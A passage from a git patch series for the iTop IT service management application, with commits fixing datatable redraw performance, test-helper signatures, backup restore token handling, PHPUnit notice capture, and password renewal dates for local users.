                          \n"; } $sHtml .= $oPage->RenderPopupMenuItems($aActions, $aFavoriteActions); diff --git a/dictionaries/en.dictionary.itop.ui.php b/dictionaries/en.dictionary.itop.ui.php index 4c4917b4f..ddc3b62aa 100644 --- a/dictionaries/en.dictionary.itop.ui.php +++ b/dictionaries/en.dictionary.itop.ui.php @@ -496,6 +496,7 @@ Dict::Add('EN US', 'English', 'English', array( 'UI:Loading' => 'Loading...', 'UI:Menu:Actions' => 'Actions', 'UI:Menu:OtherActions' => 'Other Actions', + 'UI:Menu:Toolkit' => 'Toolkit', 'UI:Menu:New' => 'New...', 'UI:Menu:Add' => 'Add...', 'UI:Menu:Manage' => 'Manage...', diff --git a/dictionaries/fr.dictionary.itop.ui.php b/dictionaries/fr.dictionary.itop.ui.php index f4e5abfcb..603c6e1e1 100644 --- a/dictionaries/fr.dictionary.itop.ui.php +++ b/dictionaries/fr.dictionary.itop.ui.php @@ -479,6 +479,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'UI:Loading' => 'Chargement...', 'UI:Menu:Actions' => 'Actions', 'UI:Menu:OtherActions' => 'Autres Actions', + 'UI:Menu:Toolkit' => 'Trousse à outils', 'UI:Menu:New' => 'Créer...', 'UI:Menu:Add' => 'Ajouter...', 'UI:Menu:Manage' => 'Gérer...', From 5aea7ccbc9d8fa3b909c2a4e18093944dbce150d Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 26 Apr 2023 10:33:18 +0200 Subject: [PATCH 219/230] =?UTF-8?q?N=C2=B06124=20-=20Performance:=20Draw?= =?UTF-8?q?=20datatable=20only=20once=20when=20elements=20remove=20in=20li?= =?UTF-8?q?nksets?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- js/linkswidget.js | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/js/linkswidget.js b/js/linkswidget.js index d7a51736c..30b6fb792 100644 --- a/js/linkswidget.js +++ b/js/linkswidget.js @@ -61,7 +61,7 @@ function LinksWidget(id, sClass, sAttCode, iInputId, sSuffix, bDuplicates, oWizH this.RemoveSelected = function () { let my_id = '#'+me.id; $('#linkedset_'+me.id+' .selection:checked').closest('tr').each(function () { - $('#datatable_'+me.id).DataTable().row($(this)).remove().draw(); + $('#datatable_'+me.id).DataTable().row($(this)).remove(); var oCheckbox = $(this).find('.selection'); let iLink = $(oCheckbox).attr('data-link-id'); if (iLink > 0) { @@ -80,6 +80,9 @@ function LinksWidget(id, sClass, sAttCode, iInputId, sSuffix, bDuplicates, oWizH me.aAdded[iUniqueId] = null; } }); + // N°6124 Only draw table once for performance reasons + $('#datatable_'+me.id).DataTable().draw(); + // Disable the button since all the selected items have been removed $(my_id+'_btnRemove').prop('disabled', true); From c6edbf982d7e8de5f6041b38a319b4d124189df0 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 26 Apr 2023 11:24:34 +0200 Subject: [PATCH 220/230] =?UTF-8?q?N=C2=B06124=20-=20Performance:=20Draw?= =?UTF-8?q?=20datatable=20only=20once=20when=20elements=20added=20in=20lin?= =?UTF-8?q?ksets?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- js/linkswidget.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/js/linkswidget.js b/js/linkswidget.js index 30b6fb792..61c0ccd9e 100644 --- a/js/linkswidget.js +++ b/js/linkswidget.js @@ -254,9 +254,10 @@ function LinksWidget(id, sClass, sAttCode, iInputId, sSuffix, bDuplicates, oWizH function (data) { if (data != '') { $.each(data.data, function (idx, row) { - $('#datatable_'+me.id).DataTable().row.add(row).draw(); + $('#datatable_'+me.id).DataTable().row.add(row); }); - + // N°6124 Only draw table once for performance reasons + $('#datatable_'+me.id).DataTable().draw(); $.each(data.scripts, function (idx, script) { $.globalEval(script); @@ -266,7 +267,6 @@ function LinksWidget(id, sClass, sAttCode, iInputId, sSuffix, bDuplicates, oWizH $(this).trigger('validate', ''); }); // Validate newly added form fields... $('#datatable_'+me.id).DataTable().columns.adjust().draw(); - //$('#datatable_team_list').DataTable().columns.adjust().draw(); $('#busy_'+me.iInputId).html(''); } }, From e7ea1b831cc619760bd4a00f862f87b4e8be0fca Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 26 Apr 2023 16:14:29 +0200 Subject: [PATCH 221/230] =?UTF-8?q?N=C2=B06254=20ItopDataTestCase::CreateU?= =?UTF-8?q?serRequest=20:=20now=20pass=20fields=20values=20as=20array=20Mo?= =?UTF-8?q?re=20versatile=20way=20of=20doing=20things=20!?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/ItopDataTestCase.php | 30 +++++++++++-------- .../unitary-tests/core/DBSearchTest.php | 6 +++- 2 files changed, 23 insertions(+), 13 deletions(-) diff --git a/tests/php-unit-tests/ItopDataTestCase.php b/tests/php-unit-tests/ItopDataTestCase.php index 7bc24f57b..4dfd2a5ae 100644 --- a/tests/php-unit-tests/ItopDataTestCase.php +++ b/tests/php-unit-tests/ItopDataTestCase.php @@ -293,25 +293,31 @@ class ItopDataTestCase extends ItopTestCase * Create a UserRequest in database * * @param int $iNum - * @param int $iTimeSpent - * @param int $iOrgId - * @param int $iCallerId + * @param array $aUserRequestCustomParams set fields values for the UserRequest : attcode as key, att value as value. + * If the attcode is already present in the default values, custom value will be kept (see array_merge documentation) * * @return \UserRequest - * @throws Exception + * @throws \ArchivedObjectException + * @throws \CoreException + * + * @link https://www.php.net/manual/en/function.array-merge.php array_merge PHP function documentation + * + * @uses \array_merge() + * @uses createObject */ - protected function CreateUserRequest($iNum, $iTimeSpent = 0, $iOrgId = 0, $iCallerId = 0) - { - /** @var \UserRequest $oTicket */ - $oTicket = $this->createObject('UserRequest', array( + protected function CreateUserRequest($iNum, $aUserRequestCustomParams) { + $aUserRequestDefaultParams = [ 'ref' => 'Ticket_'.$iNum, 'title' => 'BUG 1161_'.$iNum, //'request_type' => 'incident', 'description' => 'Add aggregate functions', - 'time_spent' => $iTimeSpent, - 'caller_id' => $iCallerId, - 'org_id' => ($iOrgId == 0 ? $this->getTestOrgId() : $iOrgId), - )); + 'org_id' => $this->getTestOrgId(), + ]; + + $aUserRequestParams = array_merge($aUserRequestDefaultParams, $aUserRequestCustomParams); + + /** @var \UserRequest $oTicket */ + $oTicket = $this->createObject('UserRequest', $aUserRequestParams); $this->debug("Created {$oTicket->Get('title')} ({$oTicket->Get('ref')})"); return $oTicket; diff --git a/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php index 19c53b186..5d00b6aa5 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php @@ -161,7 +161,11 @@ class DBSearchTest extends ItopDataTestCase $i = 0; foreach($aReq as $aParams) { - $oObj = $this->CreateUserRequest($i, $aParams[0], $aOrgIds[$aParams[1]], $aPersonIds[$aParams[2]]); + $oObj = $this->CreateUserRequest($i, [ + 'time_spent' => $aParams[0], + 'org_id' => $aOrgIds[$aParams[1]], + 'caller_id' => $aPersonIds[$aParams[2]], + ]); self::assertNotNull($oObj); $i++; } From fa038ded3d8b17169b6dcd22200f24eeaa3604f0 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 26 Apr 2023 16:42:27 +0200 Subject: [PATCH 222/230] =?UTF-8?q?N=C2=B06254=20ItopDataTestCase::CreateU?= =?UTF-8?q?serRequest=20:=20fix=20new=20argument=20default=20value=20Was?= =?UTF-8?q?=20creating=20error=20Too=20few=20arguments=20passed?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/ItopDataTestCase.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/php-unit-tests/ItopDataTestCase.php b/tests/php-unit-tests/ItopDataTestCase.php index 4dfd2a5ae..6315ccc4d 100644 --- a/tests/php-unit-tests/ItopDataTestCase.php +++ b/tests/php-unit-tests/ItopDataTestCase.php @@ -305,7 +305,7 @@ class ItopDataTestCase extends ItopTestCase * @uses \array_merge() * @uses createObject */ - protected function CreateUserRequest($iNum, $aUserRequestCustomParams) { + protected function CreateUserRequest($iNum, $aUserRequestCustomParams = []) { $aUserRequestDefaultParams = [ 'ref' => 'Ticket_'.$iNum, 'title' => 'BUG 1161_'.$iNum, From eebc61385d26bbc6c2326029f9c94df4dc8c44fa Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Tue, 2 May 2023 09:24:43 +0200 Subject: [PATCH 223/230] =?UTF-8?q?N=C2=B06009=20-=20Fix=20restore=20backu?= =?UTF-8?q?p=20button=20not=20working=20when=20JS=20dependencies=20are=20p?= =?UTF-8?q?resent?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- datamodels/2.x/itop-backup/ajax.backup.php | 10 ++++------ datamodels/2.x/itop-backup/status.php | 2 +- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/datamodels/2.x/itop-backup/ajax.backup.php b/datamodels/2.x/itop-backup/ajax.backup.php index 2162f27ae..f9619bb94 100644 --- a/datamodels/2.x/itop-backup/ajax.backup.php +++ b/datamodels/2.x/itop-backup/ajax.backup.php @@ -137,6 +137,9 @@ try * As a result we're setting a token file to make sure the restore is called by an authenticated user with the correct rights ! */ case 'restore_get_token': + $oPage = new JsonPage(); + $oPage->SetOutputDataOnly(true); + $sEnvironment = utils::ReadParam('environment', 'production', false, 'raw_data'); $oRestoreMutex = new iTopMutex('restore.'.$sEnvironment); if ($oRestoreMutex->IsLocked()) @@ -149,12 +152,7 @@ try $sTokenFile = APPROOT.'/data/restore.'.$sToken.'.tok'; file_put_contents($sTokenFile, $sFile); - $oPage->add_ready_script( - <<SetData(['token' => $sToken]); $oPage->output(); break; diff --git a/datamodels/2.x/itop-backup/status.php b/datamodels/2.x/itop-backup/status.php index 68a495fa4..da8eb74f9 100644 --- a/datamodels/2.x/itop-backup/status.php +++ b/datamodels/2.x/itop-backup/status.php @@ -471,7 +471,7 @@ function LaunchRestoreNow(sBackupFile, sConfirmationMessage) $.post(GetAbsoluteUrlModulePage('itop-backup', 'ajax.backup.php'), oParams, function(data){ // Get the value of restore_token - $('#backup_errors').append(data); + $('#restore_token').val(data.token); var oParams = {}; oParams.operation = 'restore_exec'; From 584cfa8cbf0d33d945ac0ed984a14f6b4a28e32e Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 4 May 2023 17:03:10 +0200 Subject: [PATCH 224/230] =?UTF-8?q?N=C2=B06274=20Fix=20PHP=20Notices=20not?= =?UTF-8?q?=20caught=20in=20ItopDataTestCase=20PHPUnit?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This was caused by the set_error_handler() done in DeprecatedCallsLog during startup Now we are : * not registering the handler if a PHPUnit test is running (based on a constant set in ItopTestCase::setUp) * on registration only do it for the required notices --- core/log.class.inc.php | 12 ++++-- tests/php-unit-tests/ItopTestCase.php | 19 ++++++--- .../core/Log/DeprecatedCallsLogTest.php | 41 +++++++++++++++++++ 3 files changed, 62 insertions(+), 10 deletions(-) create mode 100644 tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php diff --git a/core/log.class.inc.php b/core/log.class.inc.php index 9c9fbc396..c41b4e31f 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -15,6 +15,7 @@ // // You should have received a copy of the GNU Affero General Public License // along with iTop. If not, see +use Combodo\iTop\Test\UnitTest\ItopTestCase; /** @@ -1071,16 +1072,19 @@ class DeprecatedCallsLog extends LogAPI * @uses \set_error_handler() to catch deprecated notices * * @since 3.0.0 N°3002 logs deprecated notices in called code + * @since 3.0.4 N°6274 do not set handler when in PHPUnit context (otherwise PHP notices won't be caught) */ - public static function Enable($sTargetFile = null): void - { + public static function Enable($sTargetFile = null): void { if (empty($sTargetFile)) { $sTargetFile = APPROOT.'log/deprecated-calls.log'; } parent::Enable($sTargetFile); - if (static::IsLogLevelEnabledSafe(self::LEVEL_WARNING, self::ENUM_CHANNEL_PHP_LIBMETHOD)) { - set_error_handler([static::class, 'DeprecatedNoticesErrorHandler']); + if ( + (false === defined(ItopTestCase::ITOP_PHPUNIT_RUNNING_CONSTANT_NAME)) + && static::IsLogLevelEnabledSafe(self::LEVEL_WARNING, self::ENUM_CHANNEL_PHP_LIBMETHOD) + ) { + set_error_handler([static::class, 'DeprecatedNoticesErrorHandler'], E_DEPRECATED | E_USER_DEPRECATED); } } diff --git a/tests/php-unit-tests/ItopTestCase.php b/tests/php-unit-tests/ItopTestCase.php index 633e8884f..5dec2a274 100644 --- a/tests/php-unit-tests/ItopTestCase.php +++ b/tests/php-unit-tests/ItopTestCase.php @@ -32,13 +32,20 @@ use SetupUtils; define('DEBUG_UNIT_TEST', true); -class ItopTestCase extends TestCase -{ - const TEST_LOG_DIR = 'test'; +class ItopTestCase extends TestCase { + /** + * @since 3.0.4 N°6274 Allow to test if PHPUnit is currently running. Starting with PHPUnit 9.5 we'll be able to replace it with $GLOBALS['phpunit_version'] + */ + public const ITOP_PHPUNIT_RUNNING_CONSTANT_NAME = 'ITOP_PHPUNIT_RUNNING'; + + public const TEST_LOG_DIR = 'test'; + + protected function setUp(): void { + if (false === defined(static::ITOP_PHPUNIT_RUNNING_CONSTANT_NAME)) { + // setUp might be called multiple times, so protecting the define() call ! + define(static::ITOP_PHPUNIT_RUNNING_CONSTANT_NAME, true); + } - /** @noinspection UsingInclusionOnceReturnValueInspection avoid errors for approot includes */ - protected function setUp(): void - { $sAppRootRelPath = 'approot.inc.php'; $sDepthSeparator = '../'; for ($iDepth = 0; $iDepth < 8; $iDepth++) { diff --git a/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php b/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php new file mode 100644 index 000000000..6d01ec173 --- /dev/null +++ b/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php @@ -0,0 +1,41 @@ +expectNotice(); + + $aArray = []; + if ('toto' === $aArray['tutu']) { + //Do nothing, just raising a undefined offset warning + } + } + + /** + * The error handler set by DeprecatedCallsLog during startup was causing PHPUnit to miss PHP notices like "undefined offset" + * + * The error handler is now disabled when running PHPUnit + * + * @since 3.0.4 N°6274 + * @covers DeprecatedCallsLog::DeprecatedNoticesErrorHandler + */ + public function testPhpNoticeWithDeprecatedCallsLog(): void { + $this->RequireOnceItopFile('core/log.class.inc.php'); + DeprecatedCallsLog::Enable(); // will set error handler + $this->expectNotice(); + + $aArray = []; + if ('toto' === $aArray['tutu']) { + //Do nothing, just raising a undefined offset warning + } + } +} From 1884596ecd0c439470297c8e8f1a2651dea890e3 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 4 May 2023 17:33:25 +0200 Subject: [PATCH 225/230] =?UTF-8?q?N=C2=B06274=20Fix=20log.class.inc.php?= =?UTF-8?q?=20crashing=20cause=20cannot=20load=20ItopTestCase=20class=20No?= =?UTF-8?q?w=20the=20constant=20name=20is=20defined=20in=20approot?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- approot.inc.php | 5 +++++ core/log.class.inc.php | 3 +-- tests/php-unit-tests/ItopTestCase.php | 15 +++++---------- 3 files changed, 11 insertions(+), 12 deletions(-) diff --git a/approot.inc.php b/approot.inc.php index f2a70685b..36a984ab1 100644 --- a/approot.inc.php +++ b/approot.inc.php @@ -25,4 +25,9 @@ define('ITOP_DESIGN_LATEST_VERSION', '3.0'); */ define('ITOP_CORE_VERSION', '3.0.3'); +/** + * @since 3.0.4 N°6274 Allow to test if PHPUnit is currently running. Starting with PHPUnit 9.5 we'll be able to replace it with $GLOBALS['phpunit_version'] + */ +define('ITOP_PHPUNIT_RUNNING_CONSTANT_NAME', 'ITOP_PHPUNIT_RUNNING'); + require_once APPROOT.'bootstrap.inc.php'; diff --git a/core/log.class.inc.php b/core/log.class.inc.php index c41b4e31f..29e382f20 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -15,7 +15,6 @@ // // You should have received a copy of the GNU Affero General Public License // along with iTop. If not, see -use Combodo\iTop\Test\UnitTest\ItopTestCase; /** @@ -1081,7 +1080,7 @@ class DeprecatedCallsLog extends LogAPI parent::Enable($sTargetFile); if ( - (false === defined(ItopTestCase::ITOP_PHPUNIT_RUNNING_CONSTANT_NAME)) + (false === defined(ITOP_PHPUNIT_RUNNING_CONSTANT_NAME)) && static::IsLogLevelEnabledSafe(self::LEVEL_WARNING, self::ENUM_CHANNEL_PHP_LIBMETHOD) ) { set_error_handler([static::class, 'DeprecatedNoticesErrorHandler'], E_DEPRECATED | E_USER_DEPRECATED); diff --git a/tests/php-unit-tests/ItopTestCase.php b/tests/php-unit-tests/ItopTestCase.php index 5dec2a274..c2792bf22 100644 --- a/tests/php-unit-tests/ItopTestCase.php +++ b/tests/php-unit-tests/ItopTestCase.php @@ -33,19 +33,9 @@ use SetupUtils; define('DEBUG_UNIT_TEST', true); class ItopTestCase extends TestCase { - /** - * @since 3.0.4 N°6274 Allow to test if PHPUnit is currently running. Starting with PHPUnit 9.5 we'll be able to replace it with $GLOBALS['phpunit_version'] - */ - public const ITOP_PHPUNIT_RUNNING_CONSTANT_NAME = 'ITOP_PHPUNIT_RUNNING'; - public const TEST_LOG_DIR = 'test'; protected function setUp(): void { - if (false === defined(static::ITOP_PHPUNIT_RUNNING_CONSTANT_NAME)) { - // setUp might be called multiple times, so protecting the define() call ! - define(static::ITOP_PHPUNIT_RUNNING_CONSTANT_NAME, true); - } - $sAppRootRelPath = 'approot.inc.php'; $sDepthSeparator = '../'; for ($iDepth = 0; $iDepth < 8; $iDepth++) { @@ -56,6 +46,11 @@ class ItopTestCase extends TestCase { $sAppRootRelPath = $sDepthSeparator.$sAppRootRelPath; } + + if (false === defined(ITOP_PHPUNIT_RUNNING_CONSTANT_NAME)) { + // setUp might be called multiple times, so protecting the define() call ! + define(ITOP_PHPUNIT_RUNNING_CONSTANT_NAME, true); + } } /** From 959ac7e3be1a5b85bc24e59681da36aa5092a1d8 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Fri, 5 May 2023 09:13:03 +0200 Subject: [PATCH 226/230] =?UTF-8?q?N=C2=B06274=20DeprecatedCallsLogTest=20?= =?UTF-8?q?:=20fix=20expected=20exception=20mismatch=20in=20PHP=208.0+=20U?= =?UTF-8?q?ndefined=20offset=20notice=20was=20changed=20to=20a=20warning?= =?UTF-8?q?=20in=20PHP=208.0...=20Also=20message=20was=20changed=20:(?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../core/Log/DeprecatedCallsLogTest.php | 24 +++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php b/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php index 6d01ec173..906246ff4 100644 --- a/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php +++ b/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php @@ -9,10 +9,30 @@ namespace Combodo\iTop\Test\UnitTest\Core\Log; use Combodo\iTop\Test\UnitTest\ItopTestCase; use DeprecatedCallsLog; +use PHPUnit\Framework\Error\Notice; +use PHPUnit\Framework\Error\Warning; class DeprecatedCallsLogTest extends ItopTestCase { + /** + * We are testing for a undefined offset error. This was throwing a Notice, but starting with PHP 8.0 it was converted to a Warning ! Also the message was changed :( + * + * @link https://www.php.net/manual/en/migration80.incompatible.php check "A number of notices have been converted into warnings:" + */ + private function SetUndefinedOffsetExceptionToExpect(): void { + if (version_compare(phpversion(), '8.0', '>=')) { + $sUndefinedOffsetExceptionClass = Warning::class; + $sUndefinedOffsetExceptionMessage = 'Undefined array key "tutu"'; + } + else { + $sUndefinedOffsetExceptionClass = Notice::class; + $sUndefinedOffsetExceptionMessage = 'Undefined index: tutu'; + } + $this->expectException($sUndefinedOffsetExceptionClass); + $this->expectExceptionMessage($sUndefinedOffsetExceptionMessage); + } + public function testPhpNoticeWithoutDeprecatedCallsLog(): void { - $this->expectNotice(); + $this->SetUndefinedOffsetExceptionToExpect(); $aArray = []; if ('toto' === $aArray['tutu']) { @@ -31,7 +51,7 @@ class DeprecatedCallsLogTest extends ItopTestCase { public function testPhpNoticeWithDeprecatedCallsLog(): void { $this->RequireOnceItopFile('core/log.class.inc.php'); DeprecatedCallsLog::Enable(); // will set error handler - $this->expectNotice(); + $this->SetUndefinedOffsetExceptionToExpect(); $aArray = []; if ('toto' === $aArray['tutu']) { From b9230ad402bcce509caaddbb8ba11f1ad66c7da7 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Fri, 5 May 2023 10:16:56 +0200 Subject: [PATCH 227/230] =?UTF-8?q?N=C2=B06274=20DeprecatedCallsLogTest=20?= =?UTF-8?q?:=20replace=20expectException=20deprecated=20calls=20Message=20?= =?UTF-8?q?was=20:=20Support=20for=20using=20expectException()=20with=20PH?= =?UTF-8?q?PUnit\Framework\Error\Warning=20is=20deprecated=20and=20will=20?= =?UTF-8?q?be=20removed=20in=20PHPUnit=2010.=20Use=20expectWarning()=20ins?= =?UTF-8?q?tead.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/core/Log/DeprecatedCallsLogTest.php | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php b/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php index 906246ff4..582711b50 100644 --- a/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php +++ b/tests/php-unit-tests/unitary-tests/core/Log/DeprecatedCallsLogTest.php @@ -9,8 +9,6 @@ namespace Combodo\iTop\Test\UnitTest\Core\Log; use Combodo\iTop\Test\UnitTest\ItopTestCase; use DeprecatedCallsLog; -use PHPUnit\Framework\Error\Notice; -use PHPUnit\Framework\Error\Warning; class DeprecatedCallsLogTest extends ItopTestCase { /** @@ -19,15 +17,15 @@ class DeprecatedCallsLogTest extends ItopTestCase { * @link https://www.php.net/manual/en/migration80.incompatible.php check "A number of notices have been converted into warnings:" */ private function SetUndefinedOffsetExceptionToExpect(): void { - if (version_compare(phpversion(), '8.0', '>=')) { - $sUndefinedOffsetExceptionClass = Warning::class; + /** @noinspection ConstantCanBeUsedInspection Preferring the function call as it is easier to read and won't cost that much in this PHPUnit context */ + if (version_compare(PHP_VERSION, '8.0', '>=')) { + $this->expectWarning(); $sUndefinedOffsetExceptionMessage = 'Undefined array key "tutu"'; } else { - $sUndefinedOffsetExceptionClass = Notice::class; + $this->expectNotice(); $sUndefinedOffsetExceptionMessage = 'Undefined index: tutu'; } - $this->expectException($sUndefinedOffsetExceptionClass); $this->expectExceptionMessage($sUndefinedOffsetExceptionMessage); } From da5a825c7eefb9f7c6df6bd417604148b84c89c1 Mon Sep 17 00:00:00 2001 From: odain Date: Thu, 4 May 2023 11:51:56 +0200 Subject: [PATCH 228/230] =?UTF-8?q?N=C2=B06171=20-=20Password=20Expiration?= =?UTF-8?q?:=20can=20expire=20mode=20has=20no=20effect=20on=20user=20who?= =?UTF-8?q?=20have=20never=20changed=20their=20password?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2.x/authent-local/model.authent-local.php | 40 ++++-- .../2.x/authent-local/UserLocalTest.php | 114 ++++++++++++++++-- 2 files changed, 131 insertions(+), 23 deletions(-) diff --git a/datamodels/2.x/authent-local/model.authent-local.php b/datamodels/2.x/authent-local/model.authent-local.php index 86b30120c..ef732e16d 100755 --- a/datamodels/2.x/authent-local/model.authent-local.php +++ b/datamodels/2.x/authent-local/model.authent-local.php @@ -3,7 +3,7 @@ // // This file is part of iTop. // -// iTop is free software; you can redistribute it and/or modify +// iTop is free software; you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. @@ -69,7 +69,7 @@ class UserLocal extends UserInternal const EXPIRE_NEVER = 'never_expire'; const EXPIRE_FORCE = 'force_expire'; const EXPIRE_ONE_TIME_PWD = 'otp_expire'; - + /** @var UserLocalPasswordValidity|null */ protected $m_oPasswordValidity = null; @@ -160,7 +160,7 @@ class UserLocal extends UserInternal /** * Use with care! - */ + */ public function SetPassword($sNewPassword) { $this->Set('password', $sNewPassword); @@ -197,19 +197,39 @@ class UserLocal extends UserInternal protected function OnWrite() { - if (empty($this->m_oPasswordValidity)) - { - return; - } - if (array_key_exists('password_renewed_date', $this->ListChanges())) { return; } + if (empty($this->m_oPasswordValidity)) + { + //password unchanged + if (is_null($this->Get('password_renewed_date'))) + { + //initialize password_renewed_date with User creation date + $sKey = $this->GetKey(); +$sOql = <<Fetch(); + if (! is_null($oCMDBChangeOpCreate)) + { + $oUserCreationDateTime = \DateTime::createFromFormat(AttributeDateTime::GetInternalFormat(), $oCMDBChangeOpCreate->Get('date')); + $sCreationDate = $oUserCreationDateTime->format(\AttributeDate::GetInternalFormat()); + $this->Set('password_renewed_date', $sCreationDate); + } + } + return; + } + $sNow = date(\AttributeDate::GetInternalFormat()); $this->Set('password_renewed_date', $sNow); - + // Reset the "force" expiration flag when the user updates her/his own password! if ($this->IsCurrentUser()) { @@ -294,7 +314,7 @@ class UserLocal extends UserInternal { $this->m_aCheckIssues[] = $this->m_oPasswordValidity->getPasswordValidityMessage(); } - + // A User cannot force a one-time password on herself/himself if ($this->IsCurrentUser()) { if (array_key_exists('expiration', $this->ListChanges()) && ($this->Get('expiration') == self::EXPIRE_ONE_TIME_PWD)) { diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php index 64272cd6f..a7b4403bb 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php @@ -8,7 +8,13 @@ namespace Combodo\iTop\Test\UnitTest\Module\AuthentLocal; +use AttributeDate; use Combodo\iTop\Test\UnitTest\ItopDataTestCase; +use Config; +use Dict; +use MetaModel; +use ormLinkSet; +use URP_UserProfile; use UserLocal; /** @@ -34,23 +40,23 @@ class UserLocalTest extends ItopDataTestCase */ public function testValidatePassword($sPassword, $aValidatorNames, $aConfigValueMap, $bExpectedCheckStatus, $expectedCheckIssues = null, $sUserLanguage = null) { - $configMock = $this->createMock(\Config::class); + $configMock = $this->createMock(Config::class); $configMock ->method('GetModuleSetting') ->willReturnMap($aConfigValueMap); restore_error_handler(); if (isset($sUserLanguage)) { - \Dict::SetUserLanguage($sUserLanguage); + Dict::SetUserLanguage($sUserLanguage); } /** @var UserLocal $oUserLocal */ - $oUserLocal = \MetaModel::NewObject('UserLocal', array('login' => 'john')); - /** @var \ormLinkSet $oProfileSet */ + $oUserLocal = MetaModel::NewObject(UserLocal::class, array('login' => 'john')); + /** @var ormLinkSet $oProfileSet */ $oProfileSet = $oUserLocal->Get('profile_list'); $oProfileSet->AddItem( - \MetaModel::NewObject('URP_UserProfile', array('profileid' => 1)) + MetaModel::NewObject(URP_UserProfile::class, array('profileid' => 1)) ); $aValidatorCollection = array(); @@ -242,9 +248,10 @@ class UserLocalTest extends ItopDataTestCase */ public function testPasswordRenewal($sBefore, $sExpectedAfter) { - $oBefore = is_null($sBefore) ? null : date(\AttributeDate::GetInternalFormat(), strtotime($sBefore)); - $oNow = date(\AttributeDate::GetInternalFormat()); - $oExpectedAfter = is_null($sExpectedAfter) ? null : date(\AttributeDate::GetInternalFormat(), strtotime($sExpectedAfter)); + $sDateFormat = AttributeDate::GetInternalFormat(); + $oBefore = is_null($sBefore) ? null : date($sDateFormat, strtotime($sBefore)); + $oNow = date($sDateFormat); + $oExpectedAfter = is_null($sExpectedAfter) ? null : date($sDateFormat, strtotime($sExpectedAfter)); $aUserLocalValues = array('login' => 'john'); if (!is_null($oBefore)) @@ -253,15 +260,14 @@ class UserLocalTest extends ItopDataTestCase } /** @var UserLocal $oUserLocal */ - $oUserLocal = \MetaModel::NewObject('UserLocal', $aUserLocalValues); - /** @var \ormLinkSet $oProfileSet */ + $oUserLocal = MetaModel::NewObject(UserLocal::class, $aUserLocalValues); + /** @var ormLinkSet $oProfileSet */ $oProfileSet = $oUserLocal->Get('profile_list'); $oProfileSet->AddItem( - \MetaModel::NewObject('URP_UserProfile', array('profileid' => 1)) + MetaModel::NewObject(URP_UserProfile::class, array('profileid' => 1)) ); - $this->assertEquals($oBefore, $oUserLocal->Get('password_renewed_date')); //INSERT @@ -270,17 +276,19 @@ class UserLocalTest extends ItopDataTestCase $this->assertEquals($oNow, $oUserLocal->Get('password_renewed_date'), 'INSERT sets the "password_renewed_date" to the current date'); //UPDATE password_renewed_date + $oUserLocal = MetaModel::GetObject(UserLocal::class, $oUserLocal->GetKey()); $oUserLocal->Set('password_renewed_date', $oBefore); $oUserLocal->DBWrite(); $this->assertEquals($oBefore, $oUserLocal->Get('password_renewed_date'), 'UPDATE can target and change the "password_renewed_date"'); //UPDATE password + $oUserLocal = MetaModel::GetObject(UserLocal::class, $oUserLocal->GetKey()); 